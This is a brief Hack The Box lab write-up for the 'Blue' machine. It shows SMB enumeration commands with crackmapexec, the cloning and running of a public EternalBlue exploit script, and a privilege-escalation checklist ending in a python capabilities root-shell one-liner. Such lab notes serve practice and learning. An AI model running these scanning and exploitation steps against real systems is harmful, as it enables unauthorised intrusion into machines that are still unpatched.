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[Hack The Box] Blue

HARIS

Vulnerability research

Tags: eternal-blue, smbv1

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crackmapexec smb 10.10.10.40 (SMBv1 ==> Eternal Blue)
crackmapexec smb 10.10.10.40 -u '' -p '' --shares (DENIED)
crackmapexec smb 10.10.10.40 -u 'anonymous' -p 'anonymous' --shares

Screenshot

git clone https://github.com/d4t4s3c/Win7Blue
./Win7Blue.sh

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Exploiting Windows 7 x64:

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Screenshot

Privilege escalation

No separate privilege escalation step.

* Check service
* Check network (everything running under 127.0.0.1)
* Check cronjob (maybe upload pspy)
* Check the versions of package of the services running under 127.0.0.1 (dmesg |grep -i 'mysql' --color=auto)
* getcap -r / 2>/dev/null
    if capabilities for python just 'import os;os.system("/bin/dash")' and RUN ROOT ~#